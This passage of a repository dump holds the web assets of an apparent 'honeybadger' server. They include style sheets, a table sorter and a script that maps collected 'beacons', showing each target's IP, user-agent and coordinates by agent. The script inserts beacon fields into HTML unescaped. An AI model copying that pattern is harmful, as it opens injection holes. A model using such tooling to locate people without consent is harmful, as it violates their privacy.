10px;\n    -moz-border-radius: 10px;\n    border-radius: 10px;\n}\n\n.shaded {\n    border: 1px solid orange;\n    -webkit-box-shadow: 3px 3px 3px gray;\n    -moz-box-shadow: 3px 3px 3px gray;\n    box-shadow: 3px 3px 3px gray;\n}\n\n.orange {\n    color: #f69741;\n}\n\n.center {\n    margin-left: auto;\n    margin-right: auto;\n}\n\n.center-content {\n    text-align: center;\n}\n"
  },
  {
    "path": "server/honeybadger/static/badger.js",
    "content": "var map\nvar bounds\n\nfunction load_map() {\n    var coords = new google.maps.LatLng(0,0);\n    var mapOptions = {\n        zoom: 5,\n        center: coords,\n        mapTypeId: google.maps.MapTypeId.ROADMAP,\n        disableDefaultUI: true,\n        mapTypeControl: true,\n        mapTypeControlOptions: {\n            style: google.maps.MapTypeControlStyle.DROPDOWN_MENU,\n            position: google.maps.ControlPosition.RIGHT_TOP\n        },\n        panControl: true,\n        panControlOptions: {\n            position: google.maps.ControlPosition.RIGHT_BOTTOM\n        },\n        streetViewControl: true,\n        streetViewControlOptions: {\n            position: google.maps.ControlPosition.RIGHT_BOTTOM\n        },\n        zoomControl: true,\n        zoomControlOptions: {\n            position: google.maps.ControlPosition.RIGHT_BOTTOM\n        },\n    };\n    map = new google.maps.Map(document.getElementById(\"map\"), mapOptions);\n    bounds = new google.maps.LatLngBounds();\n}\n\nfunction add_marker(opts, place, beacon) {\n    var marker = new google.maps.Marker(opts);\n    var infowindow = new google.maps.InfoWindow({\n        autoScroll: false,\n        content: place.details\n    });\n    google.maps.event.addListener(marker, 'click', function() {\n        infowindow.open(map,marker);\n    });\n    // add the beacon data to its marker object\n    marker.beacon = beacon;\n    window['markers'].push(marker);\n    bounds.extend(opts.position);\n    return marker;\n}\n\nfunction load_markers(json) {\n    var targets = [];\n    var agents = [];\n    for (var i = 0; i < json['beacons'].length; i++) {\n        beacon = json['beacons'][i];\n        // add the marker to the map\n        var coords = beacon.lat+','+beacon.lng\n        var comment = beacon.comment || '';\n        var marker = add_marker({\n            position: new google.maps.LatLng(beacon.lat,beacon.lng),\n                title:beacon.ip+\":\"+beacon.port,\n                map:map\n            },{\n            details:'<table class=\"iw-content\">'\n                + '<caption>'+beacon.target+'</caption>'\n                + '<tr><td>Agent:</td><td>'+beacon.agent+' @ '+beacon.ip+':'+beacon.port+'</td></tr>'\n                + '<tr><td>Time:</td><td>'+beacon.created+'</td></tr>'\n                + '<tr><td>User-Agent:</td><td>'+beacon.useragent+'</td></tr>'\n                + '<tr><td>Coordinates:</td><td><a href=\"https://www.google.com/maps/place/'+coords+'\" target=\"_blank\">'+coords+'</a></td></tr>'\n                + '<tr><td>Accuracy:</td><td>'+beacon.acc+'</td></tr>'\n                + '<tr><td>Comment:</td><td>'+comment+'</td></tr>'\n                + '</table>'\n            },\n            beacon\n        );\n        // add filter checkboxes for each unique target\n        if (targets.indexOf(beacon.target) === -1) {\n            var checkbox = document.createElement('input');\n            checkbox.type = 'checkbox';\n            checkbox.name = 'target';\n            checkbox.value = beacon.target;\n            checkbox.setAttribute('checked', 'checked');\n            checkbox.checked = true;\n            checkbox.addEventListener('change', function(e) {\n                toggle_marker(e.target);\n            });\n            var filter = document.getElementById('filter-target');\n            filter.appendChild(checkbox);\n            filter.appendChild(document.createTextNode(' '+beacon.target));\n            filter.appendChild(document.createElement('br'));\n            targets.push(beacon.target);\n        }\n        // add filter checkboxes for each unique agent\n        if (agents.indexOf(beacon.agent) === -1) {\n            var checkbox = document.createElement('input');\n            checkbox.type = 'checkbox';\n            checkbox.name = 'agent';\n            checkbox.value = beacon.agent;\n            checkbox.setAttribute('checked', 'checked');\n            checkbox.checked = true;\n            checkbox.addEventListener('change', function(e) {\n                toggle_marker(e.target);\n            });\n            var filter = document.getElementById('filter-agent');\n            filter.appendChild(checkbox);\n            filter.appendChild(document.createTextNode(' '+beacon.agent));\n            filter.appendChild(document.createElement('br'));\n            agents.push(beacon.agent);\n        }\n    }\n    map.fitBounds(bounds);\n}\n\n// set the map on all markers in the array\nfunction toggle_marker(element) {\n    _map = null;\n    if(element.checked) {\n        _map = map;\n    }\n    for (var i = 0; i < window['markers'].length; i++) {\n        if (window['markers'][i].beacon[element.name] === element.value) {\n            window['markers'][i].setMap(_map);\n        }\n    }\n}\n\n$(document).ready(function() {\n\n    // load the map\n    load_map();\n\n    // load the beacons\n    $.ajax({\n        type: \"GET\",\n        url: \"/api/beacons\",\n        success: function(data) {\n            // declare a storage array for markers\n            window['markers'] = [];\n            load_markers(data);\n            flash(\"Markers loaded successfully.\");\n        },\n        error: function(error) {\n            console.log(error)\n            flash(error.message);\n        }\n    });\n\n    /*var sse = new EventSource(\"/subscribe\");\n    sse.onmessage = function(e) {\n        console.log(e.data);\n        load_markers(JSON.parse(e.data));\n    };*/\n\n});\n"
  },
  {
    "path": "server/honeybadger/static/common.js",
    "content": "function flash(msg) {\n    $('#flash').html(msg);\n    $('#flash').css('visibility', 'visible');\n    setTimeout(function() { $('#flash').css('visibility', 'hidden'); }, 5000);\n}\n\nfunction copy2clip(s) {\n    var dummy = document.createElement(\"input\");\n    document.body.appendChild(dummy);\n    dummy.setAttribute(\"id\", \"dummy_id\");\n    document.getElementById(\"dummy_id\").value = s;\n    dummy.select();\n    try {\n        document.execCommand(\"copy\");\n    } catch (e) {\n        console.log(\"Copy failed.\");\n    }\n    document.body.removeChild(dummy);\n    flash(\"Link copied.\");\n}\n\n$(document).ready(function() {\n\n    // flash on load if needed\n    if($('#flash').html().length > 0) {\n        flash($('#flash').html());\n    }\n\n});\n"
  },
  {
    "path": "server/honeybadger/static/normalize.css",
    "content": "/*! normalize.css v3.0.2 | MIT License | git.io/normalize */\n\n/**\n * 1. Set default font family to sans-serif.\n * 2. Prevent iOS text size adjust after orientation change, without disabling\n *    user zoom.\n */\n\nhtml {\n  font-family: sans-serif; /* 1 */\n  -ms-text-size-adjust: 100%; /* 2 */\n  -webkit-text-size-adjust: 100%; /* 2 */\n}\n\n/**\n * Remove default margin.\n */\n\nbody {\n  margin: 0;\n}\n\n/* HTML5 display definitions\n   ========================================================================== */\n\n/**\n * Correct `block` display not defined for any HTML5 element in IE 8/9.\n * Correct `block` display not defined for `details` or `summary` in IE 10/11\n * and Firefox.\n * Correct `block` display not defined for `main` in IE 11.\n */\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nmenu,\nnav,\nsection,\nsummary {\n  display: block;\n}\n\n/**\n * 1. Correct `inline-block` display not defined in IE 8/9.\n * 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.\n */\n\naudio,\ncanvas,\nprogress,\nvideo {\n  display: inline-block; /* 1 */\n  vertical-align: baseline; /* 2 */\n}\n\n/**\n * Prevent modern browsers from displaying `audio` without controls.\n * Remove excess height in iOS 5 devices.\n */\n\naudio:not([controls]) {\n  display: none;\n  height: 0;\n}\n\n/**\n * Address `[hidden]` styling not present in IE 8/9/10.\n * Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.\n */\n\n[hidden],\ntemplate {\n  display: none;\n}\n\n/* Links\n   ========================================================================== */\n\n/**\n * Remove the gray background color from active links in IE 10.\n */\n\na {\n  background-color: transparent;\n}\n\n/**\n * Improve readability when focused and also mouse hovered in all browsers.\n */\n\na:active,\na:hover {\n  outline: 0;\n}\n\n/* Text-level semantics\n   ========================================================================== */\n\n/**\n * Address styling not present in IE 8/9/10/11, Safari, and Chrome.\n */\n\nabbr[title] {\n  border-bottom: 1px dotted;\n}\n\n/**\n * Address style set to `bolder` in Firefox 4+, Safari, and Chrome.\n */\n\nb,\nstrong {\n  font-weight: bold;\n}\n\n/**\n * Address styling not present in Safari and Chrome.\n */\n\ndfn {\n  font-style: italic;\n}\n\n/**\n * Address variable `h1` font-size and margin within `section` and `article`\n * contexts in Firefox 4+, Safari, and Chrome.\n */\n\nh1 {\n  font-size: 2em;\n  margin: 0.67em 0;\n}\n\n/**\n * Address styling not present in IE 8/9.\n */\n\nmark {\n  background: #ff0;\n  color: #000;\n}\n\n/**\n * Address inconsistent and variable font size in all browsers.\n */\n\nsmall {\n  font-size: 80%;\n}\n\n/**\n * Prevent `sub` and `sup` affecting `line-height` in all browsers.\n */\n\nsub,\nsup {\n  font-size: 75%;\n  line-height: 0;\n  position: relative;\n  vertical-align: baseline;\n}\n\nsup {\n  top: -0.5em;\n}\n\nsub {\n  bottom: -0.25em;\n}\n\n/* Embedded content\n   ========================================================================== */\n\n/**\n * Remove border when inside `a` element in IE 8/9/10.\n */\n\nimg {\n  border: 0;\n}\n\n/**\n * Correct overflow not hidden in IE 9/10/11.\n */\n\nsvg:not(:root) {\n  overflow: hidden;\n}\n\n/* Grouping content\n   ========================================================================== */\n\n/**\n * Address margin not present in IE 8/9 and Safari.\n */\n\nfigure {\n  margin: 1em 40px;\n}\n\n/**\n * Address differences between Firefox and other browsers.\n */\n\nhr {\n  -moz-box-sizing: content-box;\n  box-sizing: content-box;\n  height: 0;\n}\n\n/**\n * Contain overflow in all browsers.\n */\n\npre {\n  overflow: auto;\n}\n\n/**\n * Address odd `em`-unit font size rendering in all browsers.\n */\n\ncode,\nkbd,\npre,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\n\n/* Forms\n   ========================================================================== */\n\n/**\n * Known limitation: by default, Chrome and Safari on OS X allow very limited\n * styling of `select`, unless a `border` property is set.\n */\n\n/**\n * 1. Correct color not being inherited.\n *    Known issue: affects color of disabled elements.\n * 2. Correct font properties not being inherited.\n * 3. Address margins set differently in Firefox 4+, Safari, and Chrome.\n */\n\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n  color: inherit; /* 1 */\n  font: inherit; /* 2 */\n  margin: 0; /* 3 */\n}\n\n/**\n * Address `overflow` set to `hidden` in IE 8/9/10/11.\n */\n\nbutton {\n  overflow: visible;\n}\n\n/**\n * Address inconsistent `text-transform` inheritance for `button` and `select`.\n * All other form control elements do not inherit `text-transform` values.\n * Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.\n * Correct `select` style inheritance in Firefox.\n */\n\nbutton,\nselect {\n  text-transform: none;\n}\n\n/**\n * 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`\n *    and `video` controls.\n * 2. Correct inability to style clickable `input` types in iOS.\n * 3. Improve usability and consistency of cursor style between image-type\n *    `input` and others.\n */\n\nbutton,\nhtml input[type=\"button\"], /* 1 */\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n  -webkit-appearance: button; /* 2 */\n  cursor: pointer; /* 3 */\n}\n\n/**\n * Re-set default cursor for disabled elements.\n */\n\nbutton[disabled],\nhtml input[disabled] {\n  cursor: default;\n}\n\n/**\n * Remove inner padding and border in Firefox 4+.\n */\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n  border: 0;\n  padding: 0;\n}\n\n/**\n * Address Firefox 4+ setting `line-height` on `input` using `!important` in\n * the UA stylesheet.\n */\n\ninput {\n  line-height: normal;\n}\n\n/**\n * It's recommended that you don't attempt to style these elements.\n * Firefox's implementation doesn't respect box-sizing, padding, or width.\n *\n * 1. Address box sizing set to `content-box` in IE 8/9/10.\n * 2. Remove excess padding in IE 8/9/10.\n */\n\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n  box-sizing: border-box; /* 1 */\n  padding: 0; /* 2 */\n}\n\n/**\n * Fix the cursor style for Chrome's increment/decrement buttons. For certain\n * `font-size` values of the `input`, it causes the cursor style of the\n * decrement button to change from `default` to `text`.\n */\n\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n/**\n * 1. Address `appearance` set to `searchfield` in Safari and Chrome.\n * 2. Address `box-sizing` set to `border-box` in Safari and Chrome\n *    (include `-moz` to future-proof).\n */\n\ninput[type=\"search\"] {\n  -webkit-appearance: textfield; /* 1 */\n  -moz-box-sizing: content-box;\n  -webkit-box-sizing: content-box; /* 2 */\n  box-sizing: content-box;\n}\n\n/**\n * Remove inner padding and search cancel button in Safari and Chrome on OS X.\n * Safari (but not Chrome) clips the cancel button when the search input has\n * padding (and `textfield` appearance).\n */\n\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n/**\n * Define consistent border, margin, and padding.\n */\n\nfieldset {\n  border: 1px solid #c0c0c0;\n  margin: 0 2px;\n  padding: 0.35em 0.625em 0.75em;\n}\n\n/**\n * 1. Correct `color` not being inherited in IE 8/9/10/11.\n * 2. Remove padding so people aren't caught out if they zero out fieldsets.\n */\n\nlegend {\n  border: 0; /* 1 */\n  padding: 0; /* 2 */\n}\n\n/**\n * Remove default vertical scrollbar in IE 8/9/10/11.\n */\n\ntextarea {\n  overflow: auto;\n}\n\n/**\n * Don't inherit the `font-weight` (applied by a rule above).\n * NOTE: the default cannot safely be changed in Chrome and Safari on OS X.\n */\n\noptgroup {\n  font-weight: bold;\n}\n\n/* Tables\n   ========================================================================== */\n\n/**\n * Remove most spacing between table cells.\n */\n\ntable {\n  border-collapse: collapse;\n  border-spacing: 0;\n}\n\ntd,\nth {\n  padding: 0;\n}"
  },
  {
    "path": "server/honeybadger/static/skeleton.css",
    "content": "/*\n* Skeleton V2.0.4\n* Copyright 2014, Dave Gamache\n* www.getskeleton.com\n* Free to use under the MIT license.\n* http://www.opensource.org/licenses/mit-license.php\n* 12/29/2014\n*/\n\n\n/* Table of contents\n––––––––––––––––––––––––––––––––––––––––––––––––––\n- Grid\n- Base Styles\n- Typography\n- Links\n- Buttons\n- Forms\n- Lists\n- Code\n- Tables\n- Spacing\n- Utilities\n- Clearing\n- Media Queries\n*/\n\n\n/* Grid\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\n.container {\n  position: relative;\n  width: 100%;\n  max-width: 960px;\n  margin: 0 auto;\n  padding: 0 20px;\n  box-sizing: border-box; }\n.column,\n.columns {\n  width: 100%;\n  float: left;\n  box-sizing: border-box; }\n\n/* For devices larger than 400px */\n@media (min-width: 400px) {\n  .container {\n    width: 85%;\n    padding: 0; }\n}\n\n/* For devices larger than 550px */\n@media (min-width: 550px) {\n  .container {\n    width: 80%; }\n  .column,\n  .columns {\n    margin-left: 4%; }\n  .column:first-child,\n  .columns:first-child {\n    margin-left: 0; }\n\n  .one.column,\n  .one.columns                    { width: 4.66666666667%; }\n  .two.columns                    { width: 13.3333333333%; }\n  .three.columns                  { width: 22%;            }\n  .four.columns                   { width: 30.6666666667%; }\n  .five.columns                   { width: 39.3333333333%; }\n  .six.columns                    { width: 48%;            }\n  .seven.columns                  { width: 56.6666666667%; }\n  .eight.columns                  { width: 65.3333333333%; }\n  .nine.columns                   { width: 74.0%;          }\n  .ten.columns                    { width: 82.6666666667%; }\n  .eleven.columns                 { width: 91.3333333333%; }\n  .twelve.columns                 { width: 100%; margin-left: 0; }\n\n  .one-third.column               { width: 30.6666666667%; }\n  .two-thirds.column              { width: 65.3333333333%; }\n\n  .one-half.column                { width: 48%; }\n\n  /* Offsets */\n  .offset-by-one.column,\n  .offset-by-one.columns          { margin-left: 8.66666666667%; }\n  .offset-by-two.column,\n  .offset-by-two.columns          { margin-left: 17.3333333333%; }\n  .offset-by-three.column,\n  .offset-by-three.columns        { margin-left: 26%;            }\n  .offset-by-four.column,\n  .offset-by-four.columns         { margin-left: 34.6666666667%; }\n  .offset-by-five.column,\n  .offset-by-five.columns         { margin-left: 43.3333333333%; }\n  .offset-by-six.column,\n  .offset-by-six.columns          { margin-left: 52%;            }\n  .offset-by-seven.column,\n  .offset-by-seven.columns        { margin-left: 60.6666666667%; }\n  .offset-by-eight.column,\n  .offset-by-eight.columns        { margin-left: 69.3333333333%; }\n  .offset-by-nine.column,\n  .offset-by-nine.columns         { margin-left: 78.0%;          }\n  .offset-by-ten.column,\n  .offset-by-ten.columns          { margin-left: 86.6666666667%; }\n  .offset-by-eleven.column,\n  .offset-by-eleven.columns       { margin-left: 95.3333333333%; }\n\n  .offset-by-one-third.column,\n  .offset-by-one-third.columns    { margin-left: 34.6666666667%; }\n  .offset-by-two-thirds.column,\n  .offset-by-two-thirds.columns   { margin-left: 69.3333333333%; }\n\n  .offset-by-one-half.column,\n  .offset-by-one-half.columns     { margin-left: 52%; }\n\n}\n\n\n/* Base Styles\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\n/* NOTE\nhtml is set to 62.5% so that all the REM measurements throughout Skeleton\nare based on 10px sizing. So basically 1.5rem = 15px :) */\nhtml {\n  font-size: 62.5%; }\nbody {\n  font-size: 1.5em; /* currently ems cause chrome bug misinterpreting rems on body element */\n  line-height: 1.6;\n  font-weight: 400;\n  font-family: \"Raleway\", \"HelveticaNeue\", \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  color: #222; }\n\n\n/* Typography\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\nh1, h2, h3, h4, h5, h6 {\n  margin-top: 0;\n  margin-bottom: 2rem;\n  font-weight: 300; }\nh1 { font-size: 4.0rem; line-height: 1.2;  letter-spacing: -.1rem;}\nh2 { font-size: 3.6rem; line-height: 1.25; letter-spacing: -.1rem; }\nh3 { font-size: 3.0rem; line-height: 1.3;  letter-spacing: -.1rem; }\nh4 { font-size: 2.4rem; line-height: 1.35; letter-spacing: -.08rem; }\nh5 { font-size: 1.8rem; line-height: 1.5;  letter-spacing: -.05rem; }\nh6 { font-size: 1.5rem; line-height: 1.6;  letter-spacing: 0; }\n\n/* Larger than phablet */\n@media (min-width: 550px) {\n  h1 { font-size: 5.0rem; }\n  h2 { font-size: 4.2rem; }\n  h3 { font-size: 3.6rem; }\n  h4 { font-size: 3.0rem; }\n  h5 { font-size: 2.4rem; }\n  h6 { font-size: 1.5rem; }\n}\n\np {\n  margin-top: 0; }\n\n\n/* Links\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\na {\n  color: #1EAEDB; }\na:hover {\n  color: #0FA0CE; }\n\n\n/* Buttons\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\n.button,\nbutton,\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"] {\n  display: inline-block;\n  height: 38px;\n  padding: 0 30px;\n  color: #555;\n  text-align: center;\n  font-size: 11px;\n  font-weight: 600;\n  line-height: 38px;\n  letter-spacing: .1rem;\n  text-transform: uppercase;\n  text-decoration: none;\n  white-space: nowrap;\n  background-color: transparent;\n  border-radius: 4px;\n  border: 1px solid #bbb;\n  cursor: pointer;\n  box-sizing: border-box; }\n.button:hover,\nbutton:hover,\ninput[type=\"submit\"]:hover,\ninput[type=\"reset\"]:hover,\ninput[type=\"button\"]:hover,\n.button:focus,\nbutton:focus,\ninput[type=\"submit\"]:focus,\ninput[type=\"reset\"]:focus,\ninput[type=\"button\"]:focus {\n  color: #333;\n  border-color: #888;\n  outline: 0; }\n.button.button-primary,\nbutton.button-primary,\ninput[type=\"submit\"].button-primary,\ninput[type=\"reset\"].button-primary,\ninput[type=\"button\"].button-primary {\n  color: #FFF;\n  background-color: #33C3F0;\n  border-color: #33C3F0; }\n.button.button-primary:hover,\nbutton.button-primary:hover,\ninput[type=\"submit\"].button-primary:hover,\ninput[type=\"reset\"].button-primary:hover,\ninput[type=\"button\"].button-primary:hover,\n.button.button-primary:focus,\nbutton.button-primary:focus,\ninput[type=\"submit\"].button-primary:focus,\ninput[type=\"reset\"].button-primary:focus,\ninput[type=\"button\"].button-primary:focus {\n  color: #FFF;\n  background-color: #1EAEDB;\n  border-color: #1EAEDB; }\n\n\n/* Forms\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\ninput[type=\"email\"],\ninput[type=\"number\"],\ninput[type=\"search\"],\ninput[type=\"text\"],\ninput[type=\"tel\"],\ninput[type=\"url\"],\ninput[type=\"password\"],\ntextarea,\nselect {\n  height: 38px;\n  padding: 6px 10px; /* The 6px vertically centers text on FF, ignored by Webkit */\n  background-color: #fff;\n  border: 1px solid #D1D1D1;\n  border-radius: 4px;\n  box-shadow: none;\n  box-sizing: border-box; }\n/* Removes awkward default styles on some inputs for iOS */\ninput[type=\"email\"],\ninput[type=\"number\"],\ninput[type=\"search\"],\ninput[type=\"text\"],\ninput[type=\"tel\"],\ninput[type=\"url\"],\ninput[type=\"password\"],\ntextarea {\n  -webkit-appearance: none;\n     -moz-appearance: none;\n          appearance: none; }\ntextarea {\n  min-height: 65px;\n  padding-top: 6px;\n  padding-bottom: 6px; }\ninput[type=\"email\"]:focus,\ninput[type=\"number\"]:focus,\ninput[type=\"search\"]:focus,\ninput[type=\"text\"]:focus,\ninput[type=\"tel\"]:focus,\ninput[type=\"url\"]:focus,\ninput[type=\"password\"]:focus,\ntextarea:focus,\nselect:focus {\n  border: 1px solid #33C3F0;\n  outline: 0; }\nlabel,\nlegend {\n  display: block;\n  margin-bottom: .5rem;\n  font-weight: 600; }\nfieldset {\n  padding: 0;\n  border-width: 0; }\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n  display: inline; }\nlabel > .label-body {\n  display: inline-block;\n  margin-left: .5rem;\n  font-weight: normal; }\n\n\n/* Lists\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\nul {\n  list-style: circle inside; }\nol {\n  list-style: decimal inside; }\nol, ul {\n  padding-left: 0;\n  margin-top: 0; }\nul ul,\nul ol,\nol ol,\nol ul {\n  margin: 1.5rem 0 1.5rem 3rem;\n  font-size: 90%; }\nli {\n  margin-bottom: 1rem; }\n\n\n/* Code\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\ncode {\n  padding: .2rem .5rem;\n  margin: 0 .2rem;\n  font-size: 90%;\n  white-space: nowrap;\n  background: #F1F1F1;\n  border: 1px solid #E1E1E1;\n  border-radius: 4px; }\npre > code {\n  display: block;\n  padding: 1rem 1.5rem;\n  white-space: pre; }\n\n\n/* Tables\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\nth,\ntd {\n  padding: 12px 15px;\n  text-align: left;\n  border-bottom: 1px solid #E1E1E1; }\nth:first-child,\ntd:first-child {\n  padding-left: 0; }\nth:last-child,\ntd:last-child {\n  padding-right: 0; }\n\n\n/* Spacing\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\nbutton,\n.button {\n  margin-bottom: 1rem; }\ninput,\ntextarea,\nselect,\nfieldset {\n  margin-bottom: 1.5rem; }\npre,\nblockquote,\ndl,\nfigure,\ntable,\np,\nul,\nol,\nform {\n  margin-bottom: 2.5rem; }\n\n\n/* Utilities\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\n.u-full-width {\n  width: 100%;\n  box-sizing: border-box; }\n.u-max-full-width {\n  max-width: 100%;\n  box-sizing: border-box; }\n.u-pull-right {\n  float: right; }\n.u-pull-left {\n  float: left; }\n\n\n/* Misc\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\nhr {\n  margin-top: 3rem;\n  margin-bottom: 3.5rem;\n  border-width: 0;\n  border-top: 1px solid #E1E1E1; }\n\n\n/* Clearing\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\n\n/* Self Clearing Goodness */\n.container:after,\n.row:after,\n.u-cf {\n  content: \"\";\n  display: table;\n  clear: both; }\n\n\n/* Media Queries\n–––––––––––––––––––––––––––––––––––––––––––––––––– */\n/*\nNote: The best way to structure the use of media queries is to create the queries\nnear the relevant code. For example, if you wanted to change the styles for buttons\non small devices, paste the mobile query code up in the buttons section and style it\nthere.\n*/\n\n\n/* Larger than mobile */\n@media (min-width: 400px) {}\n\n/* Larger than phablet (also point when grid becomes active) */\n@media (min-width: 550px) {}\n\n/* Larger than tablet */\n@media (min-width: 750px) {}\n\n/* Larger than desktop */\n@media (min-width: 1000px) {}\n\n/* Larger than Desktop HD */\n@media (min-width: 1200px) {}\n"
  },
  {
    "path": "server/honeybadger/static/sorttable.js",
    "content": "/*\n  SortTable\n  version 2\n  7th April 2007\n  Stuart Langridge, http://www.kryogenix.org/code/browser/sorttable/\n\n  Instructions:\n  Download this file\n  Add <script src=\"sorttable.js\"></script> to your HTML\n  Add class=\"sortable\" to any table you'd like to make sortable\n  Click on the headers to sort\n\n  Thanks to many, many people for contributions and suggestions.\n  Licenced as X11: http://www.kryogenix.org/code/browser/licence.html\n  This basically means: do what you want with it.\n*/\n\n/* jshint -W051, -W083, -W027 */\n\nvar stIsIE = /*@cc_on!@*/false;\n\nsorttable = {\n  init: function() {\n    // quit if this function has already been called\n    if (arguments.callee.done) return;\n    // flag this function so we don't do the same thing twice\n    arguments.callee.done = true;\n    // kill the timer\n    if (_timer) clearInterval(_timer);\n\n    if (!document.createElement || !document.getElementsByTagName) return;\n\n    sorttable.DATE_RE = /^(\\d\\d?)[\\/\\.-](\\d\\d?)[\\/\\.-]((\\d\\d)?\\d\\d)$/;\n\n    forEach(document.getElementsByTagName('table'), function(table) {\n      if (table.className.search(/\\bsortable\\b/) != -1) {\n        sorttable.makeSortable(table);\n      }\n    });\n\n  },\n\n  makeSortable: function(table) {\n    if (table.getElementsByTagName('thead').length === 0) {\n      // table doesn't have a tHead. Since it should have, create one and\n      // put the first table row in it.\n      the = document.createElement('thead');\n      the.appendChild(table.rows[0]);\n      table.insertBefore(the,table.firstChild);\n    }\n    // Safari doesn't support table.tHead, sigh\n    if (table.tHead === null) table.tHead = table.getElementsByTagName('thead')[0];\n\n    if (table.tHead.rows.length != 1) return; // can't cope with two header rows\n\n    // Sorttable v1 put rows with a class of \"sortbottom\" at the bottom (as\n    // \"total\" rows, for example). This is B&R, since what you're supposed\n    // to do is put them in a tfoot. So, if there are sortbottom rows,\n    // for backwards compatibility, move them to tfoot (creating it if needed).\n    sortbottomrows = [];\n    for (var i=0; i<table.rows.length; i++) {\n      if (table.rows[i].className.search(/\\bsortbottom\\b/) != -1) {\n        sortbottomrows[sortbottomrows.length] = table.rows[i];\n      }\n    }\n    if (sortbottomrows) {\n      if (table.tFoot === null) {\n        // table doesn't have a tfoot. Create one.\n        tfo = document.createElement('tfoot');\n        table.appendChild(tfo);\n      }\n      for (i=0; i<sortbottomrows.length; i++) {\n        tfo.appendChild(sortbottomrows[i]);\n      }\n      delete sortbottomrows;\n    }\n\n    // work through each column and calculate its type\n    headrow = table.tHead.rows[0].cells;\n    for (i=0; i<headrow.length; i++) {\n      // manually override the type with a sorttable_type attribute\n      if (!headrow[i].className.match(/\\bsorttable_nosort\\b/)) { // skip this col\n        mtch = headrow[i].className.match(/\\bsorttable_([a-z0-9]+)\\b/);\n        if (mtch) { override = mtch[1]; }\n        if (mtch && typeof sorttable[\"sort_\"+override] == 'function') {\n          headrow[i].sorttable_sortfunction = sorttable[\"sort_\"+override];\n        } else {\n          headrow[i].sorttable_sortfunction = sorttable.guessType(table,i);\n        }\n        // make it clickable to sort\n        headrow[i].sorttable_columnindex = i;\n        headrow[i].sorttable_tbody = table.tBodies[0];\n        dean_addEvent(headrow[i],\"click\", sorttable.innerSortFunction = function(e) {\n\n          if (this.className.search(/\\bsorttable_sorted\\b/) != -1) {\n            // if we're already sorted by this column, just\n            // reverse the table, which is quicker\n            sorttable.reverse(this.sorttable_tbody);\n            this.className = this.className.replace('sorttable_sorted',\n                                                    'sorttable_sorted_reverse');\n            this.removeChild(document.getElementById('sorttable_sortfwdind'));\n            sortrevind = document.createElement('span');\n            sortrevind.id = \"sorttable_sortrevind\";\n            sortrevind.innerHTML = stIsIE ? '&nbsp<font face=\"webdings\">5</font>' : '&nbsp;&#x25B4;';\n            this.appendChild(sortrevind);\n            return;\n          }\n          if (this.className.search(/\\bsorttable_sorted_reverse\\b/) != -1) {\n            // if we're already sorted by this column in reverse, just\n            // re-reverse the table, which is quicker\n            sorttable.reverse(this.sorttable_tbody);\n            this.className = this.className.replace('sorttable_sorted_reverse',\n                                                    'sorttable_sorted');\n            this.removeChild(document.getElementById('sorttable_sortrevind'));\n            sortfwdind = document.createElement('span');\n            sortfwdind.id = \"sorttable_sortfwdind\";\n            sortfwdind.innerHTML = stIsIE ? '&nbsp<font face=\"webdings\">6</font>' : '&nbsp;&#x25BE;';\n            this.appendChild(sortfwdind);\n            return;\n          }\n\n          // remove sorttable_sorted classes\n          theadrow = this.parentNode;\n          forEach(theadrow.childNodes, function(cell) {\n            if (cell.nodeType == 1) { // an element\n              cell.className = cell.className.replace('sorttable_sorted_reverse','');\n              cell.className = cell.className.replace('sorttable_sorted','');\n            }\n          });\n          sortfwdind = document.getElementById('sorttable_sortfwdind');\n          if (sortfwdind) { sortfwdind.parentNode.removeChild(sortfwdind); }\n          sortrevind = document.getElementById('sorttable_sortrevind');\n          if (sortrevind) { sortrevind.parentNode.removeChild(sortrevind); }\n\n          this.className += ' sorttable_sorted';\n          sortfwdind = document.createElement('span');\n          sortfwdind.id = \"sorttable_sortfwdind\";\n          sortfwdind.innerHTML = stIsIE ? '&nbsp<font face=\"webdings\">6</font>' : '&nbsp;&#x25BE;';\n          this.appendChild(sortfwdind);\n\n          // build an array to sort. This is a Schwartzian transform thing,\n          // i.e., we \"decorate\" each row with the actual sort key,\n          // sort based on the sort keys, and then put the rows back in order\n          // which is a lot faster because you only do getInnerText once per row\n          row_array = [];\n          col = this.sorttable_columnindex;\n          rows = this.sorttable_tbody.rows;\n          for (var j=0; j<rows.length; j++) {\n            row_array[row_array.length] = [sorttable.getInnerText(rows[j].cells[col]), rows[j]];\n          }\n          /* If you want a stable sort, uncomment the following line */\n          //sorttable.shaker_sort(row_array, this.sorttable_sortfunction);\n          /* and comment out this one */\n          row_array.sort(this.sorttable_sortfunction);\n\n          tb = this.sorttable_tbody;\n          for (j=0; j<row_array.length; j++) {\n            tb.appendChild(row_array[j][1]);\n          }\n\n          delete row_array;\n        });\n      }\n    }\n  },\n\n  guessType: function(table, column) {\n    // guess the type of a 